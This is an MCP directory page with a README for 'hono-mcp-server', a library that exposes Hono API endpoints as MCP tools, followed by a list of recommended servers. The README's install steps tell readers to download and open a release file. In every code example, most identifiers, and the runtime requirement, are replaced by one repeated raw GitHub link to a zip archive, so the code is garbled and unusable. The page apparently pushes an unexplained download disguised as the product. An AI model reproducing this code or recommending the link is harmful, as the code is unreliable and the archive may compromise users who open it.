hono-mcp-server

hono-mcp-server

Easily expose your Hono API endpoints as MCP tools with minimal configuration, supporting type-safe input handling and tool registration.

Category
Visit Server

README

🎉 hono-mcp-server - Easily Expose Your Hono API

🚀 Getting Started

Welcome to the hono-mcp-server repository! This software allows you to easily expose your Hono API endpoints as MCP tools. Follow these simple steps to download and run the application.

Download hono-mcp-server

📥 Download & Install

  1. Visit the Releases page.
  2. Look for the latest release. You will see a list of available files.
  3. Download the file suitable for your operating system.
  4. Once the file is downloaded, locate it in your downloads folder.
  5. Open the file to start the installation.

📂 Features

  • Simple API Integration: Use the software with minimal configuration.
  • MCP Tool Registration: Easily register tools for your API endpoints.
  • Type-Safe Input Handling: The application ensures that input data conforms to expected formats.

⚙️ System Requirements

To run hono-mcp-server, ensure your system meets the following requirements:

  • Operating System: Windows, macOS, or a Linux distribution.
  • https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip Version 14 or newer.
  • Basic knowledge of using command line tools may be helpful, but not essential.

🛠️ How to Use

After installing the hono-mcp-server, you can set it up for your project. Here's a simplified way to integrate it into your existing application:

  1. Import the Library: Use the following code snippet to import hono and the hono-mcp-server library.

    import { Hono } from "hono";
    import { z } from "zod";
    import { mcp, registerTool } from "hono-mcp-server";
    
  2. Create the API: Here is a basic example to get you started:

    const app = new Hono()
      .get("/users", registerTool("List all users"), (c) => https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip([{ id: 1, name: "Alice" }]))
      .get("/users/:id", registerTool("Get user by ID"), (c) => https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip({ id: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip("id") }))
      .post(
        "/users",
        registerTool({
          description: "Create a new user",
          inputSchema: {
            name: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip().describe("User's full name"),
            email: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip().email().describe("User's email address"),
          },
        }),
        async (c) => {
          const { name } = https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip("json"); // typed!
          return https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip({ id: 1, name });
        },
      );
    
  3. Expose Your API: Finally, expose your API as MCP tools.

    export default mcp(app, {
      name: "Users API",
      version: "1.0.0",
    });
    

📊 Input & Output Schemas

With the registerTool() function, you can define input and output schemas for your API endpoints. This helps maintain consistency and reliability across your API.

Example Schema

const inputSchema = {
  name: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip().describe("User's full name"),
  email: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip().email().describe("User's email address"),
};

🔍 Troubleshooting

If you encounter any issues during installation or usage, check the following:

  • Ensure you have the correct version of https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip installed.
  • Verify that you are using a supported operating system.
  • Double-check the format of your API requests to ensure they match expected schemas.

📧 Support

If you still need help, feel free to reach out. You can open an issue on the GitHub repository. Our community is here to assist you.

📦 Additional Resources

Download hono-mcp-server again to ensure that you have the latest version. Enjoy building your APIs!

Recommended Servers

playwright-mcp

playwright-mcp

A Model Context Protocol server that enables LLMs to interact with web pages through structured accessibility snapshots without requiring vision models or screenshots.

Official
Featured
TypeScript
Magic Component Platform (MCP)

Magic Component Platform (MCP)

An AI-powered tool that generates modern UI components from natural language descriptions, integrating with popular IDEs to streamline UI development workflow.

Official
Featured
Local
TypeScript
Audiense Insights MCP Server

Audiense Insights MCP Server

Enables interaction with Audiense Insights accounts via the Model Context Protocol, facilitating the extraction and analysis of marketing insights and audience data including demographics, behavior, and influencer engagement.

Official
Featured
Local
TypeScript
VeyraX MCP

VeyraX MCP

Single MCP tool to connect all your favorite tools: Gmail, Calendar and 40 more.

Official
Featured
Local
graphlit-mcp-server

graphlit-mcp-server

The Model Context Protocol (MCP) Server enables integration between MCP clients and the Graphlit service. Ingest anything from Slack to Gmail to podcast feeds, in addition to web crawling, into a Graphlit project - and then retrieve relevant contents from the MCP client.

Official
Featured
TypeScript
Kagi MCP Server

Kagi MCP Server

An MCP server that integrates Kagi search capabilities with Claude AI, enabling Claude to perform real-time web searches when answering questions that require up-to-date information.

Official
Featured
Python
E2B

E2B

Using MCP to run code via e2b.

Official
Featured
Neon Database

Neon Database

MCP server for interacting with Neon Management API and databases

Official
Featured
Exa Search

Exa Search

A Model Context Protocol (MCP) server lets AI assistants like Claude use the Exa AI Search API for web searches. This setup allows AI models to get real-time web information in a safe and controlled way.

Official
Featured
Qdrant Server

Qdrant Server

This repository is an example of how to create a MCP server for Qdrant, a vector search engine.

Official
Featured